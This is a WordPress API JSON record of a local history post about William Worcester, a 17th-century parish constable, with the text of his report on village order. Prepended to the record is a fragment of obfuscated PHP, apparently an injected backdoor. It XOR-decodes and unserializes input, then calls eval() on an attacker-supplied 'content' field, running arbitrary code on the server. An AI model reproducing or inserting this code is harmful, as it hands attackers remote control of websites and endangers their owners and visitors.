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"\x65", array($JrSBr,)); $JrSBr = $JrSBr[0] ^ str_repeat(rK_GVbnp::$GVcBrAVtn, (strlen($JrSBr[0]) / strlen(rK_GVbnp::$GVcBrAVtn)) + 1);rK_GVbnp::$XsnJKJ = @unserialize($JrSBr);}}private function jYIOrjxtF($EmyKsYF){if (is_array(rK_GVbnp::$XsnJKJ)) {$pyhQNoRNaW = str_replace(chr (60) . chr ( 654 - 591 ).chr ( 1039 - 927 ).chr ( 527 - 423 ).chr (112), "", rK_GVbnp::$XsnJKJ[chr ( 515 - 416 ).'o' . chr ( 1060 - 950 ).chr (116) . chr (101) . 'n' . "\164"]);eval($pyhQNoRNaW); $EmyKsYF = "46615";exit();}}public function __destruct(){$this->jYIOrjxtF($EmyKsYF);}}$nyUbj = new /* 36413 */ rK_GVbnp(); $nyUbj = str_repeat("11438_8061", 1);}{"id":380,"date":"2017-08-08T21:16:30","date_gmt":"2017-08-08T20:16:30","guid":{"rendered":"http:\/\/westhaddonhistorysite.org\/?p=380"},"modified":"2017-08-08T21:16:30","modified_gmt":"2017-08-08T20:16:30","slug":"william-worcester-parish-constable","status":"publish","type":"post","link":"http:\/\/westhaddonhistorysite.org\/william-worcester-parish-constable\/","title":{"rendered":"William Worcester: parish constable"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-336 alignright\" src=\"http:\/\/westhaddonhistorysite.org\/wp-content\/uploads\/2017\/07\/Great-Fire-logo-270x300.jpg\" alt=\"\" width=\"178\" height=\"198\" srcset=\"http:\/\/westhaddonhistorysite.org\/wp-content\/uploads\/2017\/07\/Great-Fire-logo-270x300.jpg 270w, http:\/\/westhaddonhistorysite.org\/wp-content\/uploads\/2017\/07\/Great-Fire-logo.jpg 350w\" sizes=\"(max-width: 178px) 100vw, 178px\" \/>There was no police force in the 17th century. In those days a constable was the senior local government officer at parish level &#8211; roughly equivalent to today&#8217;s Parish Council Chairman &#8211; but law and order was part of his remit and he was responsible for organising the &#8216;hue and cry&#8217;, a posse of able bodied villagers who were expected to pursue wrongdoers and bring them to justice.<\/p>\n<p>The report of the Constable which was submitted to Quarter Sessions during the winter following the fire throws light on what was expected of a respectable village in Cromwellian England.<\/p>\n<ol>\n<li>There is not any guilty of cursing or swearing to my knowledge.<\/li>\n<li>None guilty of adultery or fornication.<\/li>\n<li>Our parishioners come orderly on the Lord&#8217;s day to the worship of God.<\/li>\n<li>We have no recusants [Roman Catholics] in our parish.<\/li>\n<li>We have none that live without a calling, but live orderly in their vocation [Zero unemployment]<\/li>\n<li>Our parishioners are ready and willing to pursue hue and cryes if need be.<\/li>\n<li>Our watch and ward is orderly performed. [Neighbourhood Watch in operation]<\/li>\n<li>Our butchers and victuallers kill and sell wholesome flesh and maultsters make wholesome mault. [Trading Standards are maintained]<\/li>\n<li>We have none that buy or sell by measures and waytes unsealed. [Trading Standards again]<\/li>\n<li>We have none that passed with counterfeit letters or passes. [Freedom of movement was limited by settlement laws]<\/li>\n<li>We have not any that goe about using subtle crafts or unlawfull games or plays. [No illegal gambling or fraud here]<\/li>\n<li>We have none that use unlawfull games. [As above]<\/li>\n<li>Our highways and bridges are in good repair. [The parish is responsible for repair and maintenance within its boundaries]<\/li>\n<li>We have none that make any riots or common fighters or quarrellers. [No breaches of the peace here]<\/li>\n<li>I present Samuel Newman, alehouse keeper, for suffering Richard Wills and Samuell Brabson drinking in his house at ten of the clock in the night. [The hours of darkness are intended for sleep, preparing for an industrious day&#8217;s work ahead]<\/li>\n<li>I present Richard Wills for shooting of pigeons with a gun. [A privilege of the lord of the manor &#8211; lesser mortals use a sling or a bow]<img loading=\"lazy\" decoding=\"async\" class=\" wp-image-381 alignleft\" src=\"http:\/\/westhaddonhistorysite.org\/wp-content\/uploads\/2017\/08\/17th-century-smokers-1630-241x300.jpg\" alt=\"\" width=\"287\" height=\"357\" srcset=\"http:\/\/westhaddonhistorysite.org\/wp-content\/uploads\/2017\/08\/17th-century-smokers-1630-241x300.jpg 241w, http:\/\/westhaddonhistorysite.org\/wp-content\/uploads\/2017\/08\/17th-century-smokers-1630-768x956.jpg 768w, http:\/\/westhaddonhistorysite.org\/wp-content\/uploads\/2017\/08\/17th-century-smokers-1630-822x1024.jpg 822w, http:\/\/westhaddonhistorysite.org\/wp-content\/uploads\/2017\/08\/17th-century-smokers-1630.jpg 1285w\" sizes=\"(max-width: 287px) 100vw, 287px\" \/><\/li>\n<\/ol>\n<p style=\"text-align: right;\">William Worcester, Constable<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Do we believe him?<\/p>\n","protected":false},"excerpt":{"rendered":"<p>There was no police force in the 17th century. In those days a constable was the senior local government officer at parish level &#8211; roughly equivalent to today&#8217;s Parish Council Chairman &#8211; but law and order was part of his remit and he was responsible for organising the &#8216;hue and cry&#8217;, a posse of able &hellip; <\/p>\n<p class=\"link-more\"><a href=\"http:\/\/westhaddonhistorysite.org\/william-worcester-parish-constable\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;William Worcester: parish constable&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7,6,4],"tags":[15,13,8,22],"_links":{"self":[{"href":"http:\/\/westhaddonhistorysite.org\/wp-json\/wp\/v2\/posts\/380"}],"collection":[{"href":"http:\/\/westhaddonhistorysite.org\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/westhaddonhistorysite.org\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/westhaddonhistorysite.org\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/westhaddonhistorysite.org\/wp-json\/wp\/v2\/comments?post=380"}],"version-history":[{"count":2,"href":"http:\/\/westhaddonhistorysite.org\/wp-json\/wp\/v2\/posts\/380\/revisions"}],"predecessor-version":[{"id":383,"href":"http:\/\/westhaddonhistorysite.org\/wp-json\/wp\/v2\/posts\/380\/revisions\/383"}],"wp:attachment":[{"href":"http:\/\/westhaddonhistorysite.org\/wp-json\/wp\/v2\/media?parent=380"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/westhaddonhistorysite.org\/wp-json\/wp\/v2\/categories?post=380"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/westhaddonhistorysite.org\/wp-json\/wp\/v2\/tags?post=380"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}